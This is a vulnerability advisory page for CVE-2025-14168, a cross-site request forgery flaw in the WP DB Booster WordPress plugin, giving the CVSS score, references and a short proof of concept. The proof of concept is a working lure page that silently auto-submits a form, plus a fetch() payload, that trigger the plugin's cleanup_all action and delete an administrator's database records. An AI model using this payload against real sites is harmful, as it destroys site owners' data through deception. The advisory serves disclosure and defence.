CVE-2025-14168

Description

The WP DB Booster plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.1. This is due to missing nonce validation on the cleanup_all AJAX action. This makes it possible for unauthenticated attackers to delete database records including post drafts, revisions, comments, and metadata via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP DB Booster <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-14168 -->
<!-- Lure WordPress admin to visit this page -->
<html>
<head>
    <title>Click to continue</title>
</head>
<body>
    <h1>Loading...</h1>
    <form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="csrf-form" style="display:none;">
        <input type="hidden" name="action" value="cleanup_all">
        <input type="hidden" name="cleanup_type" value="all">
    </form>
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrf-form').submit();
    </script>
</body>
</html>

<!-- Or use this JavaScript payload -->
<script>
fetch('http://target-site/wp-admin/admin-ajax.php', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'action=cleanup_all&cleanup_type=all'
});
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14168
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14168
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14168/
[4] VulDB https://vuldb.com/cve/CVE-2025-14168
[5] https://plugins.trac.wordpress.org/browser/wp-db-booster/tags/1.0.1/admin/class-wp-db-booster-admin.php#L336
[6] https://plugins.trac.wordpress.org/browser/wp-db-booster/trunk/admin/class-wp-db-booster-admin.php#L336
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/cc0af0a4-81b5-425e-aba3-0c422aa33634?source=cve

Raw JSON Data

JSON

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